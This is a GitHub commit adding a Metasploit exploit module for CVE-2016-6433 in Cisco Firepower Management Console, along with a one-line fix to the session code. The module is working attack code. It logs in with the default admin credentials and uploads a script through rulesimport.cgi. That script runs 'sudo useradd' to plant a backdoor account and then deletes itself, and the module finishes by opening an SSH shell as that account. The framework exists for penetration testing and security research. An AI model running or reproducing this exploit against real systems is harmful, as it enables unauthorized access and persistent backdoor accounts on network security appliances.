Skip to content

Commit e331066

Browse files
committed
Add CVE-2016-6433 Cisco Firepower Management Console UserAdd Exploit
1 parent a5665d5 commit e331066

File tree

2 files changed

+255
-1
lines changed

2 files changed

+255
-1
lines changed

lib/msf/core/session.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -245,7 +245,7 @@ def set_via(opts)
245245
def set_from_exploit(m)
246246
self.via = { 'Exploit' => m.fullname }
247247
self.via['Payload'] = ('payload/' + m.datastore['PAYLOAD'].to_s) if m.datastore['PAYLOAD']
248-
self.target_host = Rex::Socket.getaddress(m.target_host) if (m.target_host.to_s.strip.length > 0)
248+
self.target_host = Rex::Socket.getaddress(m.target_host.address) if (m.target_host.to_s.strip.length > 0)
249249
self.target_port = m.target_port if (m.target_port.to_i != 0)
250250
self.workspace = m.workspace
251251
self.username = m.owner
Lines changed: 254 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,254 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'net/ssh/command_stream'
8+
9+
class MetasploitModule < Msf::Exploit::Remote
10+
Rank = ExcellentRanking
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Auxiliary::CommandShell
14+
include Msf::Exploit::Remote::SSH
15+
16+
def initialize(info={})
17+
super(update_info(info,
18+
'Name' => "Cisco Firepower Management Console 6.0 Post Authentication UserAdd Vulnerability",
19+
'Description' => %q{
20+
This module exploits a vulnerability found in Cisco Firepower Management Console.
21+
The management system contains a configuration flaw that allows the www user to
22+
execute the useradd binary, which can be abused to create backdoor accounts.
23+
Authentication is required to exploit this vulnerability.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'Matt', # Original discovery & PoC
29+
'sinn3r' # Metasploit module
30+
],
31+
'References' =>
32+
[
33+
[ 'CVE', '2016-6433' ],
34+
[ 'URL', 'https://blog.korelogic.com/blog/2016/10/10/virtual_appliance_spelunking' ]
35+
],
36+
'Platform' => 'unix',
37+
'Arch' => ARCH_CMD,
38+
'Targets' =>
39+
[
40+
[ 'Cisco Firepower Management Console 6.0.1 (build 1213)', {} ]
41+
],
42+
'Privileged' => false,
43+
'DisclosureDate' => 'Oct 10 2016',
44+
'Payload' =>
45+
{
46+
'Compat' => {
47+
'PayloadType' => 'cmd_interact',
48+
'ConnectionType' => 'find'
49+
}
50+
},
51+
'DefaultOptions' =>
52+
{
53+
'SSL' => 'true',
54+
'SSLVersion' => 'Auto',
55+
'RPORT' => 443
56+
},
57+
'DefaultTarget' => 0))
58+
59+
register_options(
60+
[
61+
# admin:Admin123 is the default credential for 6.0.1
62+
OptString.new('USERNAME', [true, 'Username for Cisco Firepower Management console', 'admin']),
63+
OptString.new('PASSWORD', [true, 'Password for Cisco Firepower Management console', 'Admin123']),
64+
OptString.new('NEWSSHUSER', [false, 'New backdoor username (Default: Random)']),
65+
OptString.new('NEWSSHPASS', [false, 'New backdoor password (Default: Random)']),
66+
OptString.new('TARGETURI', [true, 'The base path to Cisco Firepower Management console', '/']),
67+
OptInt.new('SSHPORT', [true, 'Cisco Firepower Management console\'s SSH port', 22])
68+
], self.class)
69+
end
70+
71+
def check
72+
end
73+
74+
def get_sf_action_id(sid)
75+
requirements = {}
76+
77+
print_status('Attempting to obtain sf_action_id from rulesimport.cgi')
78+
79+
uri = normalize_uri(target_uri.path, 'DetectionPolicy/rules/rulesimport.cgi')
80+
res = send_request_cgi({
81+
'method' => 'GET',
82+
'uri' => uri,
83+
'cookie' => "CGISESSID=#{sid}"
84+
})
85+
86+
unless res
87+
fail_with(Failure::Unknown, 'Failed to obtain rules import requirements.')
88+
end
89+
90+
sf_action_id = res.body.scan(/sf_action_id = '(.+)';/).flatten[1]
91+
92+
unless sf_action_id
93+
fail_with(Failure::Unknown, 'Unable to obtain sf_action_id from rulesimport.cgi')
94+
end
95+
96+
sf_action_id
97+
end
98+
99+
def create_ssh_backdoor(sid, user, pass)
100+
uri = normalize_uri(target_uri.path, 'DetectionPolicy/rules/rulesimport.cgi')
101+
sf_action_id = get_sf_action_id(sid)
102+
sh_name = "#{Rex::Text.rand_text_alpha(6)}.sh"
103+
104+
print_status("Attempting to create an SSH backdoor as #{user}:#{pass}")
105+
106+
mime_data = Rex::MIME::Message.new
107+
mime_data.add_part('Import', nil, nil, 'form-data; name="action_submit"')
108+
mime_data.add_part('file', nil, nil, 'form-data; name="source"')
109+
mime_data.add_part('1', nil, nil, 'form-data; name="manual_update"')
110+
mime_data.add_part(sf_action_id, nil, nil, 'form-data; name="sf_action_id"')
111+
mime_data.add_part(
112+
"sudo useradd -g ldapgroup -p `openssl passwd -1 #{pass}` #{user}; rm /var/sf/SRU/#{sh_name}",
113+
'application/octet-stream',
114+
nil,
115+
"form-data; name=\"file\"; filename=\"#{sh_name}\""
116+
)
117+
118+
send_request_cgi({
119+
'method' => 'POST',
120+
'uri' => uri,
121+
'cookie' => "CGISESSID=#{sid}",
122+
'ctype' => "multipart/form-data; boundary=#{mime_data.bound}",
123+
'data' => mime_data.to_s,
124+
'vars_get' => { 'no_mojo' => '1' },
125+
})
126+
end
127+
128+
def generate_new_username
129+
datastore['NEWSSHUSER'] || Rex::Text.rand_text_alpha(5)
130+
end
131+
132+
def generate_new_password
133+
datastore['NEWSSHPASS'] || Rex::Text.rand_text_alpha(5)
134+
end
135+
136+
def report_cred(opts)
137+
service_data = {
138+
address: rhost,
139+
port: rport,
140+
service_name: 'cisco',
141+
protocol: 'tcp',
142+
workspace_id: myworkspace_id
143+
}
144+
145+
credential_data = {
146+
origin_type: :service,
147+
module_fullname: fullname,
148+
username: opts[:user],
149+
private_data: opts[:password],
150+
private_type: :password
151+
}.merge(service_data)
152+
153+
login_data = {
154+
last_attempted_at: DateTime.now,
155+
core: create_credential(credential_data),
156+
status: Metasploit::Model::Login::Status::SUCCESSFUL,
157+
proof: opts[:proof]
158+
}.merge(service_data)
159+
160+
create_credential_login(login_data)
161+
end
162+
163+
def do_login
164+
console_user = datastore['USERNAME']
165+
console_pass = datastore['PASSWORD']
166+
uri = normalize_uri(target_uri.path, 'login.cgi')
167+
168+
print_status("Attempting to login in as #{console_user}:#{console_pass}")
169+
170+
res = send_request_cgi({
171+
'method' => 'POST',
172+
'uri' => uri,
173+
'vars_post' => {
174+
'username' => console_user,
175+
'password' => console_pass,
176+
'target' => ''
177+
}
178+
})
179+
180+
unless res
181+
fail_with(Failure::Unknown, 'Connection timed out while trying to log in.')
182+
end
183+
184+
res_cookie = res.get_cookies
185+
if res.code == 302 && res_cookie.include?('CGISESSID')
186+
cgi_sid = res_cookie.scan(/CGISESSID=(\w+);/).flatten.first
187+
print_status("CGI Session ID: #{cgi_sid}")
188+
print_good("Authenticated as #{console_user}:#{console_pass}")
189+
report_cred(username: console_user, password: console_pass)
190+
return cgi_sid
191+
end
192+
193+
nil
194+
end
195+
196+
def get_ssh_session(user, pass)
197+
print_status("Attempting to log into SSH as #{user}:#{pass}")
198+
199+
factory = ssh_socket_factory
200+
opts = {
201+
auth_methods: ['password', 'keyboard-interactive'],
202+
port: datastore['SSHPORT'],
203+
use_agent: false,
204+
config: false,
205+
password: pass,
206+
proxy: factory,
207+
non_interactive: true
208+
}
209+
210+
opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
211+
212+
begin
213+
ssh = nil
214+
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
215+
ssh = Net::SSH.start(rhost, user, opts)
216+
end
217+
rescue Rex::ConnectionError
218+
return
219+
rescue Net::SSH::Disconnect, ::EOFError => e
220+
print_error "SSH - #{e.message}"
221+
return
222+
rescue ::Timeout::Error
223+
print_error "SSH - Timed out during negotiation"
224+
return
225+
rescue Net::SSH::AuthenticationFailed
226+
print_error "SSH - Failed authentication"
227+
rescue Net::SSH::Exception => e
228+
elog("#{e.class} : #{e.message}\n#{e.backtrace * "\n"}")
229+
print_error "SSH Error: #{e.class} : #{e.message}"
230+
return
231+
end
232+
233+
if ssh
234+
conn = ::Net::SSH::CommandStream.new(ssh, '/bin/bash', true)
235+
ssh = nil
236+
handler(conn.lsock)
237+
end
238+
end
239+
240+
def exploit
241+
# To exploit the useradd vuln, we need to login first.
242+
sid = do_login
243+
return unless sid
244+
245+
# After login, we can call the useradd utility to create a backdoor user
246+
new_user = generate_new_username
247+
new_pass = generate_new_password
248+
create_ssh_backdoor(sid, new_user, new_pass)
249+
250+
# Log into the SSH backdoor account
251+
get_ssh_session(new_user, new_pass)
252+
end
253+
254+
end

0 commit comments

Comments
 (0)